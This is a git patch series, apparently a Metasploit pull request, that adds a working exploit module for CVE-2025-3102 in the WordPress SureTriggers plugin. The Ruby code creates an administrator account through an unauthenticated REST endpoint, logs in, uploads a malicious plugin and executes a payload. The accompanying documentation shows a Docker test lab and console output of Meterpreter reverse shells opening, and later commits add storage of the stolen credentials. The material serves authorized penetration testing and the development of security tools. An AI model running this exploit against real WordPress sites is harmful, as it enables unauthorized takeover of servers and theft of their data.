From 4d0c7bb71abe9d364b07f3edc7bf759c23fd16a5 Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Wed, 7 May 2025 17:39:20 +0200 Subject: [PATCH 01/10] =?UTF-8?q?Add=20WP=20SureTriggers=20=E2=89=A41.0.78?= =?UTF-8?q?=20admin-creation=20&=20RCE=20module=20(CVE-2025-3102)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data/wordlists/wp-exploitable-plugins.txt | 11 +- .../multi/http/wp_suretriggers_auth_bypass.md | 193 ++++++++++++++++++ .../multi/http/wp_suretriggers_auth_bypass.rb | 176 ++++++++++++++++ 3 files changed, 374 insertions(+), 6 deletions(-) create mode 100644 documentation/modules/exploit/multi/http/wp_suretriggers_auth_bypass.md create mode 100644 modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb diff --git a/data/wordlists/wp-exploitable-plugins.txt b/data/wordlists/wp-exploitable-plugins.txt index e47fa70661..1200839863 100644 --- a/data/wordlists/wp-exploitable-plugins.txt +++ b/data/wordlists/wp-exploitable-plugins.txt @@ -26,7 +26,6 @@ learnpress loginizer masterstudy-lms-learning-management-system modern-events-calendar-lite -modern-events-calendar-lite nextgen-gallery ninja-forms paid-memberships-pro @@ -45,6 +44,7 @@ simple-file-list slideshow-gallery sp-client-document-manager subscribe-to-comments +suretriggers ultimate-member website-contact-form-with-file-upload woocommerce-abandoned-cart @@ -53,18 +53,17 @@ wordpress-mobile-pack wordpress-popular-posts work-the-flow-file-upload wp-automatic +wpdiscuz wp-easycart wp-fastest-cache wp-file-manager wp-gdpr-compliance wp-mobile-detector wp-mobile-edition -wp-symposium -wp-symposium -wp-time-capsule -wp-ultimate-csv-importer -wpdiscuz wps-hide-login wpshop +wp-symposium +wp-time-capsule wptouch +wp-ultimate-csv-importer wysija-newsletters diff --git a/documentation/modules/exploit/multi/http/wp_suretriggers_auth_bypass.md b/documentation/modules/exploit/multi/http/wp_suretriggers_auth_bypass.md new file mode 100644 index 0000000000..da26266937 --- /dev/null +++ b/documentation/modules/exploit/multi/http/wp_suretriggers_auth_bypass.md @@ -0,0 +1,193 @@ +## Vulnerable Application + +This Metasploit module exploits an administrative user creation vulnerability in the +WordPress SureTriggers plugin, versions <= 1.0.78 (CVE-2025-3102). +The plugin exposes an unauthenticated REST endpoint (`automation/action`) that allows +bypassing permission checks to create a new administrator account. + +To replicate a vulnerable environment for testing: + +1. Install WordPress using the provided Docker Compose configuration. +2. Download and install the SureTriggers plugin v1.0.78: + [https://downloads.wordpress.org/plugin/suretriggers.1.0.78.zip](https://downloads.wordpress.org/plugin/suretriggers.1.0.78.zip) +3. Verify that the plugin is activated and accessible on the local network. +4. No further configuration is required; vulnerability is present immediately upon activation. + +## Docker Compose Configuration + +```yaml +services: + + wordpress: + image: wordpress:6.3.2 + restart: always + ports: + - 5555:80 + environment: + WORDPRESS_DB_HOST: db + WORDPRESS_DB_USER: chocapikk + WORDPRESS_DB_PASSWORD: dummy_password + WORDPRESS_DB_NAME: exploit_market + volumes: + - wordpress:/var/www/html + - ./custom.ini:/usr/local/etc/php/conf.d/custom.ini + + db: + image: mysql:5.7 + restart: always + environment: + MYSQL_DATABASE: exploit_market + MYSQL_USER: chocapikk + MYSQL_PASSWORD: dummy_password + MYSQL_ROOT_PASSWORD: dummy_password + volumes: + - db:/var/lib/mysql + +volumes: + wordpress: + db: +``` + +Create a `custom.ini` file with: + +```ini +upload_max_filesize = 64M +post_max_size = 64M +``` + +## Verification Steps + +1. Start the environment: + +```bash +docker-compose up -d +``` + +2. Complete WordPress setup at [http://localhost:5555](http://localhost:5555) +3. Confirm that SureTriggers v1.0.78 is active under **Plugins** +4. Launch `msfconsole` +5. Load the module: + +```bash +use exploit/multi/http/wp_suretriggers_auth_bypass +``` + +6. Set `RHOSTS` to the target IP +7. Optionally set `ST_AUTH` if you have an existing key +8. Configure `WP_USER`, `WP_PASS`, `WP_EMAIL` +9. Execute the exploit with `run` + +## Options + +* **RHOSTS**: Target IP address or hostname where WordPress is running. +* **TARGETURI**: Base path to the WordPress installation (default is `/`). +* **WP_USER**, **WP_PASS**, **WP_EMAIL**: Credentials for the new administrator account that the exploit will create. + By default these are randomly generated but you can set them to values of your choice, for example: + +```bash +set WP_USER eviladmin +set WP_PASS Str0ngP@ss! +set WP_EMAIL eviladmin@example.com +``` + +* **ST_AUTH**: *(Optional)* If you have the plugin’s secret key (used in the `st_authorization` header), + you can provide it here to authenticate the REST request. + If left empty the module will send an empty header value, which still works on versions <= 1.0.78. + +## Scenarios + +### Successful Exploitation Against SureTriggers v1.0.78 + +**Setup:** + +* Local WordPress instance with SureTriggers v1.0.78 +* Metasploit Framework + +**Steps:** + +1. Start `msfconsole` + +2. Load the module: +```bash +use exploit/multi/http/wp_suretriggers_auth_bypass +``` +3. Configure: +```bash +set RHOSTS 127.0.0.1 +set TARGETURI / +set WP_USER eviladmin +set WP_PASS Str0ngP@ss! +run +``` + +**Expected Results**: + +With `php/meterpreter/reverse_tcp`: + +```plaintext +msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > run http://127.0.0.1:5555 +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Detected WordPress version: 6.3.2 +[+] Detected suretriggers plugin version: 1.0.78 +[+] The target appears to be vulnerable. +[*] Attempting to create administrator user via auth bypass... +[!] Primary endpoint failed or did not return success, trying fallback via rest_route... +[+] Administrator created: sol_bash:k9R0ZwjRX5VBOBJ +[*] Uploading malicious plugin for code execution... +[*] Executing payload at /wp-content/plugins/wp_p2ash/ajax_efdsa.php... +[*] Sending stage (40004 bytes) to 172.27.0.2 +[+] Deleted ajax_efdsa.php +[+] Deleted wp_p2ash.php +[+] Deleted ../wp_p2ash +[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.27.0.2:33924) at 2025-05-07 17:22:49 +0200 + +meterpreter > sysinfo +Computer : a6e792b1c252 +OS : Linux a6e792b1c252 6.14.2-2-cachyos #1 SMP PREEMPT_DYNAMIC Thu, 10 Apr 2025 17:27:10 +0000 x86_64 +Meterpreter : php/linux +``` + +With `cmd/linux/http/x64/meterpreter/reverse_tcp`: + +```plaintext +msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > show targets + +Exploit targets: +================= + + Id Name + -- ---- +=> 0 PHP In-Memory + 1 Unix In-Memory + 2 Windows In-Memory + + +msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > set target 1 +target => 1 +msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > run http://127.0.0.1:5555 +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Detected WordPress version: 6.3.2 +[+] Detected suretriggers plugin version: 1.0.78 +[+] The target appears to be vulnerable. +[*] Attempting to create administrator user via auth bypass... +[!] Primary endpoint failed or did not return success, trying fallback via rest_route... +[+] Administrator created: sol_bash:k9R0ZwjRX5VBOBJ +[*] Uploading malicious plugin for code execution... +[*] Executing payload at /wp-content/plugins/wp_ppqii/ajax_cqc8l.php... +[*] Sending stage (3045380 bytes) to 172.27.0.2 +[+] Deleted ajax_cqc8l.php +[+] Deleted wp_ppqii.php +[+] Deleted ../wp_ppqii +[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 172.27.0.2:54238) at 2025-05-07 17:24:10 +0200 + +meterpreter > sysinfo +Computer : 172.27.0.2 +OS : Debian 11.8 (Linux 6.14.2-2-cachyos) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` diff --git a/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb b/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb new file mode 100644 index 0000000000..57a4d21e69 --- /dev/null +++ b/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb @@ -0,0 +1,176 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Payload::Php + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Wordpress + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WordPress SureTriggers Auth Bypass and RCE', + 'Description' => %q{ + This module exploits an authorization bypass in the WordPress SureTriggers plugin (<= 1.0.78). + It first creates a new administrator account via the unauthenticated REST endpoint, + then uploads and executes a PHP payload using FileDropper for remote code execution. + }, + 'Author' => [ + 'Khaled Alenazi (Nxploited)', # PoC + 'Valentin Lobstein' # Metasploit module + ], + 'References' => [ + ['CVE', '2025-3102'], + ['URL', 'https://github.com/Nxploited/CVE-2025-3102'], + ['URL', 'https://www.wordfence.com/blog/2025/04/100000-wordpress-sites-affected-by-administrative-user-creation-vulnerability-in-suretriggers-wordpress-plugin/'] + ], + 'License' => MSF_LICENSE, + 'Privileged' => false, + 'Platform' => %w[unix linux win php], + 'Arch' => [ARCH_PHP, ARCH_CMD], + 'Targets' => [ + [ + 'PHP In-Memory', + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP + # tested with php/meterpreter/reverse_tcp + } + ], + [ + 'Unix In-Memory', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ], + [ + 'Windows In-Memory', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-03-13', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + + register_options( + [ + OptString.new('WP_USER', [true, 'Username for the new administrator', Faker::Internet.username(specifier: 5..8)]), + OptString.new('WP_PASS', [true, 'Password for the new administrator', Faker::Internet.password(min_length: 12)]), + OptString.new('WP_EMAIL', [true, 'Email for the new administrator', Faker::Internet.email(name: Faker::Internet.username(specifier: 5..8))]), + OptString.new('ST_AUTH', [false, 'Value for st_authorization header', '']) + ] + ) + end + + def check + return CheckCode::Unknown('Target not responding') unless wordpress_and_online? + + print_status("Detected WordPress version: #{wordpress_version}") if wordpress_version + + plugin = 'suretriggers' + readme = check_plugin_version_from_readme(plugin, '1.0.79', '0.0.1') + detected = readme&.details&.dig(:version) + + if detected.nil? + print_warning("Unable to determine the #{plugin} plugin version.") + return CheckCode::Unknown + end + + detected_version = Rex::Version.new(detected) + print_good("Detected #{plugin} plugin version: #{detected_version}") + + if detected_version <= Rex::Version.new('1.0.78') + return CheckCode::Appears + end + + print_status("#{plugin} >= 1.0.79 appears patched") + CheckCode::Safe + end + + def exploit + print_status('Attempting to create administrator user via auth bypass...') + create_uri = normalize_uri(target_uri.path, 'wp-json', 'sure-triggers', 'v1', 'automation', 'action') + fallback_uri = normalize_uri(target_uri.path) + '?rest_route=/sure-triggers/v1/automation/action' + headers = { 'st_authorization' => datastore['ST_AUTH'] } + + # Try primary endpoint + res = send_request_cgi('method' => 'POST', 'uri' => create_uri, 'ctype' => 'application/json', 'data' => user_payload.to_json, 'headers' => headers) + # Fallback if unsuccessful + unless valid_success?(res) + print_warning('Primary endpoint failed or did not return success, trying fallback via rest_route...') + res = send_request_cgi('method' => 'POST', 'uri' => fallback_uri, 'ctype' => 'application/json', 'data' => user_payload.to_json, 'headers' => headers) + end + handle_response(res) + + # Authenticate and upload payload + cookie = wordpress_login(datastore['WP_USER'], datastore['WP_PASS']) + upload_and_execute_payload(cookie) + end + + def user_payload + { + 'integration' => 'WordPress', + 'type_event' => 'create_user_if_not_exists', + 'selected_options' => { + 'user_name' => datastore['WP_USER'], + 'password' => datastore['WP_PASS'], + 'user_email' => datastore['WP_EMAIL'], + 'role' => 'administrator' + }, + 'fields' => [], + 'context' => {} + } + end + + def valid_success?(res) + return false unless res&.code == 200 + + json = begin + res.get_json_document + rescue StandardError + nil + end + json && json['success'] + end + + def handle_response(res) + unless valid_success?(res) + fail_with(Failure::UnexpectedReply, 'User creation did not return success') + end + print_good("Administrator created: #{datastore['WP_USER']}:#{datastore['WP_PASS']}") + end + + def upload_and_execute_payload(auth_cookie) + plugin = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}" + payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}.php" + payload_uri = normalize_uri(wordpress_url_plugins, plugin, payload_name) + zip = generate_plugin(plugin, payload_name.sub('.php', '')) + + print_status('Uploading malicious plugin for code execution...') + ok = wordpress_upload_plugin(plugin, zip.pack, auth_cookie) + fail_with(Failure::UnexpectedReply, 'Plugin upload failed') unless ok + + print_status("Executing payload at #{payload_uri}...") + register_files_for_cleanup(payload_name, "#{plugin}.php") + register_dir_for_cleanup("../#{plugin}") + send_request_cgi('uri' => payload_uri, 'method' => 'GET') + end +end From 23809f0d08e27f11db62c1d48f214b89dc8c6294 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Wed, 7 May 2025 23:34:51 +0200 Subject: [PATCH 02/10] Update modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb Co-authored-by: Julien Voisin --- modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb b/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb index 57a4d21e69..a135d30063 100644 --- a/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb +++ b/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb @@ -101,7 +101,7 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Appears end - print_status("#{plugin} >= 1.0.79 appears patched") + print_status("#{plugin} #{detected_version} >= 1.0.79 appears patched") CheckCode::Safe end From 2e9d7db23860b12911ca19455937ece778e4b61a Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Wed, 7 May 2025 23:34:58 +0200 Subject: [PATCH 03/10] Update modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb Co-authored-by: Julien Voisin --- modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb b/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb index a135d30063..3e841c1f67 100644 --- a/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb +++ b/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb @@ -161,13 +161,13 @@ class MetasploitModule < Msf::Exploit::Remote def upload_and_execute_payload(auth_cookie) plugin = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}" payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}.php" - payload_uri = normalize_uri(wordpress_url_plugins, plugin, payload_name) zip = generate_plugin(plugin, payload_name.sub('.php', '')) print_status('Uploading malicious plugin for code execution...') ok = wordpress_upload_plugin(plugin, zip.pack, auth_cookie) fail_with(Failure::UnexpectedReply, 'Plugin upload failed') unless ok + payload_uri = normalize_uri(wordpress_url_plugins, plugin, payload_name) print_status("Executing payload at #{payload_uri}...") register_files_for_cleanup(payload_name, "#{plugin}.php") register_dir_for_cleanup("../#{plugin}") From 879027bd5a2ba8cad3952b71c5323f48d3c2bc5b Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Wed, 7 May 2025 23:50:20 +0200 Subject: [PATCH 04/10] Update --- .../multi/http/wp_suretriggers_auth_bypass.rb | 48 +++++++++---------- 1 file changed, 24 insertions(+), 24 deletions(-) diff --git a/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb b/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb index 3e841c1f67..67512b9a1a 100644 --- a/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb +++ b/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb @@ -112,13 +112,31 @@ class MetasploitModule < Msf::Exploit::Remote headers = { 'st_authorization' => datastore['ST_AUTH'] } # Try primary endpoint - res = send_request_cgi('method' => 'POST', 'uri' => create_uri, 'ctype' => 'application/json', 'data' => user_payload.to_json, 'headers' => headers) - # Fallback if unsuccessful - unless valid_success?(res) - print_warning('Primary endpoint failed or did not return success, trying fallback via rest_route...') - res = send_request_cgi('method' => 'POST', 'uri' => fallback_uri, 'ctype' => 'application/json', 'data' => user_payload.to_json, 'headers' => headers) + res = send_request_cgi( + 'method' => 'POST', + 'uri' => create_uri, + 'ctype' => 'application/json', + 'data' => user_payload.to_json, + 'headers' => headers + ) + + # Fallback if primary failed + unless res&.code == 200 && res.get_json_document&.dig('success') + print_warning('Primary endpoint failed, trying fallback via rest_route...') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => fallback_uri, + 'ctype' => 'application/json', + 'data' => user_payload.to_json, + 'headers' => headers + ) end - handle_response(res) + + # Inline response validation + unless res&.code == 200 && res.get_json_document&.dig('success') + fail_with(Failure::UnexpectedReply, 'User creation did not return success') + end + print_good("Administrator created: #{datastore['WP_USER']}:#{datastore['WP_PASS']}") # Authenticate and upload payload cookie = wordpress_login(datastore['WP_USER'], datastore['WP_PASS']) @@ -140,24 +158,6 @@ class MetasploitModule < Msf::Exploit::Remote } end - def valid_success?(res) - return false unless res&.code == 200 - - json = begin - res.get_json_document - rescue StandardError - nil - end - json && json['success'] - end - - def handle_response(res) - unless valid_success?(res) - fail_with(Failure::UnexpectedReply, 'User creation did not return success') - end - print_good("Administrator created: #{datastore['WP_USER']}:#{datastore['WP_PASS']}") - end - def upload_and_execute_payload(auth_cookie) plugin = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}" payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}.php" From 21a9fa848cc8f2e84534c8d7c85c6e32a2914e49 Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Wed, 7 May 2025 23:59:06 +0200 Subject: [PATCH 05/10] Add credits --- modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb b/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb index 67512b9a1a..3f0a26a023 100644 --- a/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb +++ b/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb @@ -23,6 +23,7 @@ class MetasploitModule < Msf::Exploit::Remote then uploads and executes a PHP payload using FileDropper for remote code execution. }, 'Author' => [ + 'Michael Mazzolini (mikemyers)', # Vulnerability Discovery 'Khaled Alenazi (Nxploited)', # PoC 'Valentin Lobstein' # Metasploit module ], From 5c8013ad92dcc5bd00ea8a7d106fb1881c8f2f3f Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Sun, 11 May 2025 17:18:29 +0200 Subject: [PATCH 06/10] Update modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb Co-authored-by: bcoles --- modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb b/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb index 3f0a26a023..e5601f3f96 100644 --- a/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb +++ b/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb @@ -84,7 +84,8 @@ class MetasploitModule < Msf::Exploit::Remote def check return CheckCode::Unknown('Target not responding') unless wordpress_and_online? - print_status("Detected WordPress version: #{wordpress_version}") if wordpress_version + wp_version = wordpress_version + print_status("Detected WordPress version: #{wp_version}") if wp_version plugin = 'suretriggers' readme = check_plugin_version_from_readme(plugin, '1.0.79', '0.0.1') From 04915c8c95f7c41fdd0753f3373a5b544cab0be6 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Sun, 11 May 2025 17:18:37 +0200 Subject: [PATCH 07/10] Update modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb Co-authored-by: bcoles --- modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb b/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb index e5601f3f96..c84cf4baaf 100644 --- a/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb +++ b/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb @@ -92,8 +92,7 @@ class MetasploitModule < Msf::Exploit::Remote detected = readme&.details&.dig(:version) if detected.nil? - print_warning("Unable to determine the #{plugin} plugin version.") - return CheckCode::Unknown + return CheckCode::Unknown("Unable to determine the #{plugin} plugin version.") end detected_version = Rex::Version.new(detected) From ca6e413beac8c643209fef444e07093f08901a13 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Sun, 11 May 2025 17:18:51 +0200 Subject: [PATCH 08/10] Update modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb Co-authored-by: bcoles --- modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb b/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb index c84cf4baaf..4fc86ad3aa 100644 --- a/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb +++ b/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb @@ -96,11 +96,11 @@ class MetasploitModule < Msf::Exploit::Remote end detected_version = Rex::Version.new(detected) - print_good("Detected #{plugin} plugin version: #{detected_version}") if detected_version <= Rex::Version.new('1.0.78') - return CheckCode::Appears + return CheckCode::Appears("Detected #{plugin} version #{detected_version}") end + print_status("#{plugin} #{detected_version} >= 1.0.79 appears patched") CheckCode::Safe From 604672433a7f2a61d1adb4dd52a6cf858cdec067 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Sun, 11 May 2025 17:19:12 +0200 Subject: [PATCH 09/10] Update modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb Co-authored-by: bcoles --- modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb b/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb index 4fc86ad3aa..3981c32f43 100644 --- a/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb +++ b/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb @@ -102,8 +102,7 @@ class MetasploitModule < Msf::Exploit::Remote end - print_status("#{plugin} #{detected_version} >= 1.0.79 appears patched") - CheckCode::Safe + CheckCode::Safe("#{plugin} #{detected_version} >= 1.0.79 appears patched") end def exploit From 40002f87f41a89799c645db300bc19a47c09409f Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Sun, 11 May 2025 17:53:06 +0200 Subject: [PATCH 10/10] Apply suggestion to store created WordPress admin creds --- .../multi/http/wp_suretriggers_auth_bypass.rb | 67 ++++++++++++++++--- 1 file changed, 56 insertions(+), 11 deletions(-) diff --git a/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb b/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb index 3981c32f43..ace3519847 100644 --- a/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb +++ b/modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Payload::Php + include Msf::Auxiliary::Report include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Wordpress @@ -100,45 +101,89 @@ class MetasploitModule < Msf::Exploit::Remote if detected_version <= Rex::Version.new('1.0.78') return CheckCode::Appears("Detected #{plugin} version #{detected_version}") end - CheckCode::Safe("#{plugin} #{detected_version} >= 1.0.79 appears patched") end def exploit print_status('Attempting to create administrator user via auth bypass...') - create_uri = normalize_uri(target_uri.path, 'wp-json', 'sure-triggers', 'v1', 'automation', 'action') - fallback_uri = normalize_uri(target_uri.path) + '?rest_route=/sure-triggers/v1/automation/action' - headers = { 'st_authorization' => datastore['ST_AUTH'] } - # Try primary endpoint + create_uri = normalize_uri(target_uri.path, 'wp-json', 'sure-triggers', 'v1', 'automation', 'action') + headers = { 'st_authorization' => datastore['ST_AUTH'] } + payload = user_payload.to_json + res = send_request_cgi( 'method' => 'POST', 'uri' => create_uri, 'ctype' => 'application/json', - 'data' => user_payload.to_json, + 'data' => payload, 'headers' => headers ) - # Fallback if primary failed unless res&.code == 200 && res.get_json_document&.dig('success') print_warning('Primary endpoint failed, trying fallback via rest_route...') res = send_request_cgi( 'method' => 'POST', - 'uri' => fallback_uri, + 'uri' => normalize_uri(target_uri.path), + 'vars_get' => { 'rest_route' => '/sure-triggers/v1/automation/action' }, 'ctype' => 'application/json', - 'data' => user_payload.to_json, + 'data' => payload, 'headers' => headers ) end - # Inline response validation unless res&.code == 200 && res.get_json_document&.dig('success') fail_with(Failure::UnexpectedReply, 'User creation did not return success') end + print_good("Administrator created: #{datastore['WP_USER']}:#{datastore['WP_PASS']}") - # Authenticate and upload payload + create_credential( + workspace_id: myworkspace_id, + origin_type: :service, + module_fullname: fullname, + username: datastore['WP_USER'], + private_type: :password, + private_data: datastore['WP_PASS'], + service_name: 'WordPress', + address: datastore['RHOST'], + port: datastore['RPORT'], + protocol: 'tcp', + status: Metasploit::Model::Login::Status::UNTRIED + ) + + vprint_good("Credential for user '#{datastore['WP_USER']}' stored successfully.") + + loot_data = "Username: #{datastore['WP_USER']}, Password: #{datastore['WP_PASS']}\n" + loot_path = store_loot( + 'wordpress.admin.created', + 'text/plain', + datastore['RHOST'], + loot_data, + 'wp_admin_credentials.txt', + 'WordPress Created Admin Credentials' + ) + vprint_good("Loot saved to: #{loot_path}") + + report_host(host: datastore['RHOST']) + + report_service( + host: datastore['RHOST'], + port: datastore['RPORT'], + proto: 'tcp', + name: fullname, + info: 'WordPress with vulnerable SureTriggers plugin allowing unauthenticated admin creation' + ) + + report_vuln( + host: datastore['RHOST'], + port: datastore['RPORT'], + proto: 'tcp', + name: 'SureTriggers WordPress Plugin Auth Bypass', + refs: references, + info: 'Unauthenticated admin creation via vulnerable REST API endpoint' + ) + cookie = wordpress_login(datastore['WP_USER'], datastore['WP_PASS']) upload_and_execute_payload(cookie) end